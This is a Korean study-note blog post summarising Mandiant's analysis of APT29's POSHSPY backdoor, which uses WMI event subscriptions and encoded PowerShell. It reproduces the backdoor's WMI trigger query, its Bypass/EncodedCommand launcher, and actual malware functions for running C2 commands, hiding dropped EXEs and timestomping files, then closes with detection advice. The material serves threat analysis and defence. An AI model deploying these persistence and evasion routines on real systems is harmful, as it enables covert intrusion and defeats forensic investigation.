본문 바로가기

Program/토스뱅크 사이버보안 엔지니어 부트캠프(공격&방어 기술)

[APT] APT29 POSHSPY

https://cloud.google.com/blog/topics/threat-intelligence/dissecting-one-ofap?hl=en

 

Dissecting One of APT29's Fileless WMI and PowerShell Backdoors (POSHSPY) | Mandiant | Google Cloud Blog

The BfeOnServiceStartTypeChange Filter was bound to the CommandLineEventConsumer WindowsParentalControlsMigration. The WindowsParentalControlsMigration consumer was configured to silently execute a base64-encoded PowerShell command. Upon execution, this co

cloud.google.com

위 내용을 기반으로 내용을 정리

 

 

1. POSHSPY

1.1 POSHSPY

  • POSHSPY: PowerShell과 Windows Management Instrumentation(WMI)를 활용한 백도어
    • 파워쉘기반 스파이웨어
  • Living-off-the-Land: Windows 내장 기능을 그대로 활용하는 백도어 방식
    • WMI를 사용하여 백도어 코드를 저장하고 지속성을 유지
    • PowerShell 페이로드를 사용하기 때문에 정상 시스템 프로세스만 사용되며, 악성 코드 실행은 고급 로깅 또는 메모리 분석을 통해서만 식별될 수 있음
    • 비컨(beaconing), 트래픽 난독화, 광범위한 암호화, 지리적으로 가까운 합법적 웹사이트를 C2로 활용하는 특성 때문에 네트워크 트래픽 기반 탐지는 매우 어려움
  • WMI 기반 저장 및 지속성 방식으로 POSHSPY를 업데이트

1.2 APT29

  • APT29는 POSHSPY를 기본(backbone) 백도어 접근이 차단될 경우를 대비한 2차(back-up) 백도어로 배포

2 Windows Management Instrumentation(WMI)

2.1 WMI

  • WMI: Windows 2000 이후 모든 버전에 기본 포함된 관리 프레임워크
  • 다양한 관리 기능 제공: 로컬 및 원격 시스템에서 시스템 정보 조회, 프로세스 시작/중지, 조건 기반 트리거 설정 등
  • 접근 방법: Windows WMI CLI(wmic.exe) 또는 PowerShell과 같은 스크립트/프로그래밍 언어 API
  • WMI 데이터 저장 위치 및 형식: System32\wbem\Repository 디렉터리 내 CIM(Common Information Model) 저장소에 파일 형태로 저장
  • 기본 구조: WMI 클래스

2.2WMI 영구 이벤트 구독

  • WMI 영구 이벤트 구독(permanent event subscription): 조건이 충족될 때 지정된 동작을 자동 실행하도록 하는 기능
  • WMI 영구 이벤트 구독 생성에는 시스템 관리자 권한이 필요
  • 공격자들은 시스템 시작 시 백도어가 실행되도록 이 기능을 자주 이용
  • 세 가지 핵심 WMI 클래스로 구성
    1. Filter: Consumer를 트리거할 조건(시스템 시작, 특정 프로그램 실행, 특정 시간 경과 등)을 정의
    2. Consumer: 실행할 동작(명령 실행, 스크립트 실행, 로그 기록, 이메일 전송 등)을 정의
    3. FilterToConsumerBinding: Filter와 Consumer를 연결

2.2 APT29

  • APT29가 WMI를 이용하여 백도어 지속성과 PowerShell 백도어 코드 저장 기능을 모두 구현
  • 수행 방법
    1. 새로운 WMI 클래스를 생성하고
    2. 텍스트 속성(text property)을 추가한 뒤
    3. 여기에 암호화/base64 인코딩된 PowerShell 백도어 코드를 저장
    4. APT29는 해당 WMI 속성에서 백도어 코드를 읽어 복호화하고 실행하는 PowerShell 명령을 수행하도록 WMI 이벤트 구독을 생성

3. POSHSPY WMI Component

3.1 [Filter] “BfeOnServiceStartTypeChange” WMI 이벤트 필터

SELECT * FROM __InstanceModificationEvent WITHIN 60
WHERE TargetInstance ISA 'Win32_LocalTime'
AND (TargetInstance.DayOfWeek = 1 OR TargetInstance.DayOfWeek = 2
	OR TargetInstance.DayOfWeek = 4 OR TargetInstance.DayOfWeek = 5
	OR TargetInstance.DayOfWeek = 6)
AND TargetInstance.Hour = 11
AND TargetInstance.Minute = 33
AND TargetInstance.Second = 0
GROUP WITHIN 60

 

 

3.2 [Consumer] “WindowsParentalControlsMigration” CommandLineTemplate (powershell)

C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe
    -NonInteractive
    -ExecutionPolicy Bypass
    -EncodedCommand ZgB1AG4AywBOAGkAbwBuACA... (truncated)
  • 이 명령은 RacTask 클래스의 HiveUploadTask 텍스트 속성에 저장된 PowerShell 백도어 페이로드를 추출, 복호화하고 실행
    • RacTask: APT29가 만든 WMI 클래스
    • HiveUploadTask: APT29가 RacTask 클래스 내부에 추가한 문자열 속성(property)
  • PowerShell 명령은 페이로드 저장 위치와 암호화 키를 포함
  1. powershell.exe
    • PowerShell 실행 파일
    • 공격자는 악성 코드 파일을 실행하는 대신, 정상적인 시스템 프로세스를 활용하여 탐지를 회피
      • Living-off-the-Land(LoL)
    • 정상 프로세스를 이용해 악성 스크립트를 숨겨 실행하는 단계
  2. -NonInteractive
    • PowerShell을 비대화형 모드로 실행
    • 이유
      • 사용자 입력을 요구하지 않음
      • 콘솔(PowerShell 창) 표시 없음
      • 팝업, 경고창 없이 조용히 실행됨
  3. -ExecutionPolicy Bypass
    • PowerShell의 보안 실행 정책(Bypass) 무시
    • Bypass
      • 어떤 스크립트든 무조건 실행
      • 관리자 정책/그룹 정책에서 설정한 보안 제한도 무시
    • 이유
      • 악성 스크립트가 디지털 서명되어 있지 않더라도 실행 가능
      • 탐지 정책과 상관없이 실행 가능
      • SIEM, AV, EDR 우회 효과
  4. -EncodedCommand <base64>
    • 백도어 로더 스크립트 실행
      • WMI 클래스 속성값 읽기
      • 암호화된 페이로드 복호화
      • 메모리에서 바로 실행
    • PowerShell 명령을 Base64 인코딩된 형태로 전달
    • 이유
      • 스크립트 내용을 숨겨 정적 탐지 우회
      • 복잡한 코드 주입 가능
      • 명령어 난독화
      • 파일리스 구조에 최적화(파일없이 메모리에서 코드를 실행하는 형태)

 

- 디코딩된 명령어

 

 

  1. perfCr()
    • CryptoStream을 이용해 데이터를 메모리에 쓴 후 결과를 byte 배열로 반환
    • 복호화 결과를 얻기 위한 내부 유틸리티 함수
  2. decrAes()
    • AES 복호화를 수행하는 함수
    • WMI 저장소에 저장된 Base64 + AES 암호화된 백도어를 복호화
  3. sWP()
    • 실제로 WMI 클래스/속성에서 백도어를 읽어와
    • Base64 디코딩 → AES 복호화 → UTF8 문자열로 변환 → 실행(Invoke-Expression)
  4. $aeK, $aeI
    • AES Key ($aeK), AES IV ($aeI)
    • 고정된 바이트 배열(백도어 암호화에 사용된 키)
  5. sWP 'RacTask' 'HiveUploadTask' $aeK $aeI | Out-Null
    • RacTask 클래스의 HiveUploadTask 속성에 저장된 백도어를 복호화·실행하라는 명령

 

 

3.3 [Binding]

  • BfeOnServiceStartTypeChange” 필터는 Filter는 CommandLineEventConsumer인 “*WindowsParentalControlsMigration”*과 바인딩

 

 

4. POSHSPY PowerShell Component

4.1 코드

  • EncodedCommand 형태의 PowerShell 코드 다운로드 및 실행
    • POSHSPY 백도어에서 PowerShell payload(추가 명령)를 실행하고 그 결과를 반환하는 루틴
    • C2 서버가 보내준 명령을 PowerShell로 실행한 뒤 결과를 공격자에게 다시 보내기 위한 기능
    • input 데이터를 PowerShell 명령으로 실행 → 응답을 파싱 → 바이트 배열로 변환해 반환

function psPldRoutine($data) { try{ $encUtf = [System.Text.Encoding]::UTF8 if($data[0] -eq 0xff -and $data[1] -eq 0xfe) { $resp = & powershell.exe -NonInteractive -ExecutionPolicy Bypass -EncodedCommand $encUtf.GetString($data).TrimStart() } else { $resp = & powershell.exe -NonInteractive -ExecutionPolicy Bypass -EncodedCommand $encUtf.GetString($data) } $parsed = parsePsResponse $resp if($parsed -ne $null) { return $encUtf.GetBytes($parsed) } } catch{} return $null }
  • Program Files 하위 임의 디렉터리에 EXE 저장(이름은 해당 디렉터리명과 동일) 실패 시 임시 파일명으로 저장
    • POSHSPY 백도어가 드롭해야 하는 EXE 파일 이름과 저장 경로를 은밀하게 생성하기 위한 함수
    • 공격자가 페이로드(EXE 파일)를 시스템에 저장할 때 의심을 피하기 위해 자연스러운 이름·경로를 자동 생성하는 로직
  •  
  •  

 

function createExeName ($folderPath=$null) { try{ if($folderPath -ne $null -and $folderPath.Length -ne 0) { $searchFolder = [Environment]::GetFolderPath($folderPath) for($i=0; $i -lt 60; $i++) { $rndFolder = Get-ChildItem $searchFolder | Get-Random if($rndFolder -is [System.IO.DirectoryInfo] -and $rndFolder.Name -ne 'Microsoft' -and $rndFolder.Name -ne 'Identities' -and !$rndFolder.Name.Contains(' ')) { break } $rndFolder = $null } if($rndFolder -ne $null) {$rndFile = $rndFolder.FullName + '\\' + $rndFolder.Name} } else { $tempFile = [IO.Path]::GetTempFileName() [IO.File]::Delete($tempFile) $rndFile = $tempFile.Substring(0, $tempFile.Length - 4) } if($rndFile -eq $null -or $rndFile.Length -eq 0) { return $null } for($i=0; $i -lt 30; $i++) { if ([IO.File]::Exists($rndFile + '.exe') -ne $true){break} $rndFile += createRandStr 1 'abcdefghijklmnopqrstuvwxyz' } return $rndFile.ToLower() + '.exe' } catch{} return $null }

 

  • 모든 다운로드된 실행 파일의 Standard Information 타임스탬프(생성/수정/접근)를 2013년 이전 생성된 System32 파일 중 임의로 선택한 파일과 동일하게 조작

 

function getRandomOldFileFromSystem32 { return (gci ((gci env:windir).Value + '\\system32') | ? { !$_.PSIsContainer } | Where-Object { $_.LastWriteTime -lt "01/01/2013" } | Get-Random | %{ $_.FullName }) } function setFileTime($source, $dest) { try{ [IO.File]::SetCreationTime($dest, [IO.File]::GetCreationTime($source)) [IO.File]::SetLastAccessTime($dest, [IO.File]::GetLastAccessTime($source)) [IO.File]::SetLastWriteTime($dest, [IO.File]::GetLastWriteTime($source)) } catch{} return }

 

 

  • AES 및 RSA 기반 암호화 통신

  • 도메인 리스트·서브도메인·TLD·URI·파일명·확장자를 이용한 DGA 기반 C2 URL 생성

  • 커스텀 User-Agent 또는 시스템 기본 User-Agent(urlmon.dll 기반) 사용

  • 네트워크 연결마다 커스텀 또는 무작위 쿠키 생성

  • 2048바이트 단위로 데이터 업로드

  • ICO/GIF/JPG/PNG/MP3/BMP 중 임의 파일 헤더를 암호화된 데이터에 추가하여 전송(콘텐츠 검사 우회 목적)

 

 

4.2 결과

  • 해당 사례에서는 피해자 근처 지역의 실제 조직이 보유한 11개의 합법 도메인을 C2로 사용
  • DGA로 11개의 정상 도메인과 다양한 값을 조합하여 총 550개의 고유한 C2 URL이 생성
    • DGA(Domain Generation Algorithm): 도메인을 자동으로 여러 개 만들어내는 기술
  • 다양한 기술 결합으로 일반적인 네트워크 모니터링으로는 탐지가 매우 어려움
    • 비컨(Beacon)을 매우 드물게 보냄 → 트래픽이 거의 눈에 띄지 않음
    • 합법적이거나 이미 해킹된 정상 서버 사용 → 악성 서버처럼 보이지 않음
    • 파일 헤더 기반 검사 우회 기법 → 악성 데이터인지 판단이 어려움

5. 결론

  • Living-off-the-Land 방식으로 백도어를 구축
  • backdoor family 백도어와 함께 배치 → 지속성 유지
  • POSHSPY를 빠르게 탐지하는 방법
    • 향상된 PowerShell 로깅을 활성화하면 악성 코드 실행이 기록됨
    • WMI 기반 지속성은 합법적 사용이 드물기 때문에, 환경 전체를 점검하면 악성 항목이 빠르게 드러남
  • APT29 침해 대응 시에는 가시성 확장, 완전한 스코프 파악, 악성 코드가 없는 시스템도 철저히 분석하는 것이 매우 중요

'Program > 토스뱅크 사이버보안 엔지니어 부트캠프(공격&방어 기술)' 카테고리의 다른 글

Havoc Framework  (0) 2025.12.17
[MITRE ATT&CK Framework] ID  (0) 2025.12.10
[System] svchost  (0) 2025.11.19
[System] DLL  (0) 2025.11.18
[Network] ARP Spoofing  (0) 2025.11.06